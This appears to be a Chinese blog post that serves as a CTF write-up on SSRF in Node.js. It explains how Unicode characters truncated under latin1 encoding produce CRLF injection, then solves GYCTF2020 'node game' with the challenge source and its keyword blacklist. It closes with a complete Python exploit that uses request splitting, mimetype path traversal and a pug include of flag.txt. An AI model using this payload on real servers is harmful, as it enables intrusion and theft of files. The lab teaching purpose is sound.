【nodejs中的ssrf】

一、什么是ssrf

二、ssrf 示例

通常可以通过观察参数中是否存在url来判断ssrf

修改成百度的url后会发现百度的搜索按钮出现在了当前页面,这里访问的百度,实际是通过服务器访问的,而不是本地

三、通过拆分请求实现是ssrf利用

复制代码
// 示例:中文字符"中" (Unicode: 0x4E2D)
const chineseChar = "中";  // UTF-16: 0x4E2D

// 使用latin1编码转换时:
// 原始Unicode: 0x4E2D (二进制: 01001110 00101101)
// latin1只能处理单字节,所以:
// 截取低字节: 00101101 (0x2D)
// 最终输出: 0x2D (对应ASCII字符"-")
复制代码
v = "/caf\u{E9}\u{01F436}"
// 解码为: "/café🐶"
// 包含:
// - '/'  (U+002F)
// - 'c'  (U+0063)  
// - 'a'  (U+0061)
// - 'f'  (U+0066)
// - 'é'  (U+00E9)  - 拉丁小写字母e带重音
// - '🐶' (U+1F436) - 狗表情符号

// JavaScript字符串内部是UTF-16编码
// "🐶" 在UTF-16中是代理对: 0xD83D 0xDC36
// 内存中存储: [0xD8, 0x3D, 0xDC, 0x36] (4字节)

// Buffer.from(v, 'latin1') 转换规则:
// 对于每个UTF-16码元(16位):
// 1. 只取低8位(最低有效字节)
// 2. 丢弃高8位

// 对于 "🐶" 的转换:
// 第一个码元: 0xD83D → 取低8位: 0x3D (对应ASCII '=')
// 第二个码元: 0xDC36 → 取低8位: 0x36 (对应ASCII '6')

// 步骤3: 解码回字符串
// Buffer中的字节: [0x2F, 0x63, 0x61, 0x66, 0xE9, 0x3D, 0x36]
// 解码为: '/' 'c' 'a' 'f' 'é' '=' '6'

\u010D→ 转换为 UTF-8 字节:C4 8D→ URL 编码:%C4%8D

\u010A→ 转换为 UTF-8 字节:C4 8A→ URL 编码:%C4%8A

复制代码
// Node.js 显示时,自动解码为实际字符
'http://example.com/čĊ/test'
复制代码
// 攻击者构造的恶意 URL
'http://example.com/\u{010D}\u{010A}/test'

// Node.js 8 使用 latin1 编码处理路径
Buffer.from('http://example.com/\u{010D}\u{010A}/test', 'latin1').toString()

// 结果: 'http://example.com/\r\n/test'

截断原理:

Unicode 字符: \u{010D} (č) 和 \u{010A} (Ċ)
十六进制: 0x010D 和 0x010A
二进制: 0000 0001 0000 1101 和 0000 0001 0000 1010

latin1 只保留低8位(一个字节):
\u{010D} → 0x0D → 回车符 \r
\u{010A} → 0x0A → 换行符 \n

四、GYCTF2020 node game

题目中两点地方可以点击,点击第一个可以获取到源码

点击第二个可以进行文件上传,但服务器只允许内网地址上传

先查看源码

java 复制代码
var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path'); // 处理文件路径
var http = require('http');
var pug = require(`pug`); // 模板渲染
var morgan = require('morgan'); // 日志
const multer = require('multer'); // 用于处理multipart/form-data类型的表单数据,实现上传功能;个人一般使用formidable实现上传
 
// 将上传的文件存储在./dist[自动创建]返回一个名为file的文件数组
app.use(multer({dest: './dist'}).array('file'));
// 使用简化版日志
app.use(morgan('short'));
 
// 静态文件路由
app.use("/uploads", express.static(path.join(__dirname, '/uploads')))
app.use("/template", express.static(path.join(__dirname, '/template')))
 
app.get('/', function (req, res) {
    // GET方法获取action参数
    var action = req.query.action ? req.query.action : "index";
    // action中不能包含/  \\
    if (action.includes("/") || action.includes("\\")) {
        res.send("Errrrr, You have been Blocked");
    }
    // 将/template/[action].pug渲染成html输出到根目录
    file = path.join(__dirname + '/template/' + action + '.pug');
    var html = pug.renderFile(file);
    res.send(html);
});
 
app.post('/file_upload', function (req, res) {
    var ip = req.connection.remoteAddress; // remoteAddress无法伪造,因为TCP有三次握手,伪造源IP会导致无法完成TCP连接
    var obj = {msg: '',}
    // 请求必须来自localhost
    if (!ip.includes('127.0.0.1')) {
        obj.msg = "only admin's ip can use it"
        res.send(JSON.stringify(obj));//JSON.stringify()方法用于将JavaScript值转换为JSON字符
        return
    }
    // node.js读取文件 fs.readFile(),一种格式fs.readFile(filePath,{encoding:"utf-8"}, function (err, fr){
    fs.readFile(req.files[0].path, function (err, data) {
        // 判断上传文件合法
        if (err) {
            obj.msg = 'upload failed';
            res.send(JSON.stringify(obj));
        } else {
            // 文件路径为/uploads/[mimetype]/filename,mimetype可以进行目录穿越实现将文件存储至/template并利用action渲染到界面
            var file_path = '/uploads/' + req.files[0].mimetype + "/";
            var file_name = req.files[0].originalname
            var dir_file = __dirname + file_path + file_name
            if (!fs.existsSync(__dirname + file_path)) {
                try {
                    fs.mkdirSync(__dirname + file_path)
                } catch (error) {
                    obj.msg = "file type error";
                    res.send(JSON.stringify(obj));
                    return
                }
            }
            try {
                fs.writeFileSync(dir_file, data)
                obj = {msg: 'upload success', filename: file_path + file_name}
            } catch (error) {
                obj.msg = 'upload failed';
            }
            res.send(JSON.stringify(obj));
        }
    })
})
 
// 查看题目源码
app.get('/source', function (req, res) {
    res.sendFile(path.join(__dirname + '/template/source.txt'));
});
 
// ssrf核心 
app.get('/core', function (req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:8081/source?' + q
        console.log(url)
        // 对url字符进行waf
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("error occurs!");
        } else {
            try {
                // node对/source发出请求,此处可以利用字符破坏进行切分攻击访问/file_upload路由(❗️此请求发出者为localhost主机),实现对remoteAddress的绕过
                http.get(url, function (resp) {
                    resp.setEncoding('utf8');
                    resp.on('error', function (err) {
                        if (err.code === "ECONNRESET") {
                            console.log("Timeout occurs");
                        }
                    });
                    // 返回结果输出到/core
                    resp.on('data', function (chunk) {
                        try {
                            resps = chunk.toString();
                            res.send(resps);
                        } catch (e) {
                            res.send(e.message);
                        }
                    }).on('error', (e) => {
                        res.send(e.message);
                    });
                });
            } catch (error) {
                console.log(error);
            }
        }
    } else {
        res.send("search param 'q' missing!");
    }
})
 
// 关键字waf 利用字符串拼接实现绕过
function blacklist(url) {
    var evilwords = ["global", "process", "mainModule", "require", "root", "child_process", "exec", "\"", "'", "!"];
    var arrayLen = evilwords.length;
 
    for (var i = 0; i < arrayLen; i++) {
        const trigger = url.includes(evilwords[i]);
        if (trigger === true) {
            return true
        }
    }
}
 
var server = app.listen(8081, function () {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

/:根据 action 选择并渲染 /template/.pug 模板

/source:回显源码文件

/file_upload:上传文件,但限制必须来自 127.0.0.1

/core:拼一个指向内网 localhost:8081 的 URL,http.get() 去请求,再返回响应

复制代码
action 来自 query,且禁止出现 / 和 \,然后用 pug.renderFile() 渲染:
这意味着:只要把一个 .pug 文件放进 /template/ 目录,就能通过 /?action=xxx 让它被渲染并回显

/file_upload:上传点:
它用 req.connection.remoteAddress 判断是否包含 127.0.0.1,不是就直接拒绝
上传后的文件最终写到这个路径:
/uploads/<mimetype>/<originalname>
而 mimetype 是可控输入(从 multipart 的 Content-Type / mimetype 体系里来),于是出现"把 mimetype 写成 ../template 之类"的 目录穿越写文件风险

/core:SSRF 入口(但普通 SSRF 不够)
它把传入的 q 拼到:http://localhost:8081/source? 后面,然后 http.get(url) 发起请求。
里面的黑名单那,字符串拼接可绕过

路径穿越:

复制代码
文件路径的构造:
file_path = '/uploads/' + req.files[0].mimetype + "/",然后 dir_file = __dirname + file_path + originalname,最后 writeFileSync(dir_file, data)。

mimetype 本质上是"来自用户上传元数据"的字符串

程序把它当成 目录名的一部分 直接拼接进路径

如果 mimetype 里带 ../(或其他能被路径解析吃掉的东西),就可能"跳出 uploads 目录",写到任意位置

请求走私:

复制代码
/file_upload 的门禁是 remoteAddress 必须包含 127.0.0.1,外网无法上传

但 /core 里 http.get('http://localhost:8081/source?...') 是服务器自己向内网发起连接(SSRF)。

如果能让这一次 http.get() 的底层请求拆成两段,请求目标仍然是内网服务(同一条 TCP 连接/同一个 host 语义)

可以通过TCP来拆分
TCP 根本不知道什么是"请求"
TCP 只负责:按顺序交付一串字节流
HTTP 服务器是自己在 字节流里找边界 决定哪里是一条请求
只需要同一条 TCP 连接里,塞进了多段"看起来像 HTTP 请求"的字节序列,服务器就会把它们解析成多条请求

在 TCP 层,内网服务器看到的是:
[字节][字节][字节][字节][字节]......

它 不知道:
哪一段是 GET
哪一段是 POST
哪一段是 header
哪一段是 body

它只知道:
客户端又给我发了一些字节

HTTP 服务器的解析逻辑(简化版):
大多数 HTTP 服务器内部逻辑类似:
while (连接未关闭) {
  读取字节
  如果读到:
    请求行 + 请求头 + \r\n\r\n
  那么:
    认为:一条 HTTP 请求头结束了
    → 如果有 Content-Length,再继续读 body
    → 处理该请求
}


HTTP/1.1 里,一条请求是靠这些规则拆的:
请求头结束标志
\r\n\r\n

body 长度
由 Content-Length 决定
或 chunked 编码

拆分的本质是在一条 TCP 字节流里,伪造出了多个 HTTP 请求的结构

GET /source?... HTTP/1.1\r\n
Host: localhost\r\n
\r\n
POST /file_upload HTTP/1.1\r\n
Host: 127.0.0.1\r\n
Content-Length: ...\r\n
\r\n
<POST body>
GET / HTTP/1.1\r\n
\r\n

内网服务器看到的是:
第一段:完整 GET → 处理
紧接着:又来了一个合法的请求行 → 再处理
又来一个 → 再处理

最后末尾补一条 GET 是为了让 HTTP 解析器"优雅地结束",避免连接卡死或请求失败
补一个 GET = "重同步(resync)"
一个最简单、最安全的 HTTP 请求是:
GET / HTTP/1.1\r\n
\r\n

它的作用是:
不带 body
不依赖 Content-Length
请求一结束,解析器就能立刻回到"空闲状态"
相当于对服务器说:
"前面那条 POST 已经结束了,接下来是一个新的、干净的请求"

在文件上传处抓包

对抓取到的文件上传的数据包进行删除Cookie,并将Host、Origin、Referer等改为本地地址、Content-Type改为 .../template 用于目录穿越(注意Content-Length也需要改成变化后的值),然后利用以下脚本:

python 复制代码
import requests
import urllib.parse

payload = ''' HTTP/1.1

POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: 266
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: 127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytiv5xTGEO0V9ggkc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: 127.0.0.1/?action=upload
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarytiv5xTGEO0V9ggkc
Content-Disposition: form-data; name="file"; filename="flgg.pug"
Content-Type: ../template

doctype html
html
  head
    style
      include ../../../../../../../flag.txt
------WebKitFormBoundarytiv5xTGEO0V9ggkc--

GET / HTTP/1.1
test:'''.replace("\n","\r\n")

def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0x0100+ord(i))
    return ret
    
payload = payload_encode(payload)

print(payload)
r = requests.get('http://f7eab690-f200-4355-91f7-65c6290ed626.node4.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
print(r.text)

#urllib.parse.quote:URL只允许一部分ASCII字符,其他字符(如汉字)是不符合标准的,此时就要进行编码。

加密也可以用另一种方法

python 复制代码
def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0x0100+ord(i))
    return ret
    
payload = payload_encode(payload)

↓

payload = payload.replace('\r\n', '\u010d\u010a') \
    .replace('+', '\u012b') \
    .replace(' ', '\u0120') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') \
    .replace('[', '\u015b') \
    .replace(']', '\u015d') \
    .replace('`', '\u0127') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') \
    .replace('[', '\u015b') \
    .replace(']', '\u015d') \

上传pug成功之后,访问?action=[pug的名字] (好像pug不久就会清除掉)

相关推荐
崔庆才丨静觅5 小时前
hCaptcha 验证码图像识别 API 对接教程
前端
passerby60616 小时前
完成前端时间处理的另一块版图
前端·github·web components
掘了6 小时前
「2025 年终总结」在所有失去的人中,我最怀念我自己
前端·后端·年终总结
崔庆才丨静觅6 小时前
实用免费的 Short URL 短链接 API 对接说明
前端
崔庆才丨静觅7 小时前
5分钟快速搭建 AI 平台并用它赚钱!
前端
崔庆才丨静觅7 小时前
比官方便宜一半以上!Midjourney API 申请及使用
前端
Moment7 小时前
富文本编辑器在 AI 时代为什么这么受欢迎
前端·javascript·后端
崔庆才丨静觅7 小时前
刷屏全网的“nano-banana”API接入指南!0.1元/张量产高清创意图,开发者必藏
前端
剪刀石头布啊7 小时前
jwt介绍
前端
爱敲代码的小鱼7 小时前
AJAX(异步交互的技术来实现从服务端中获取数据):
前端·javascript·ajax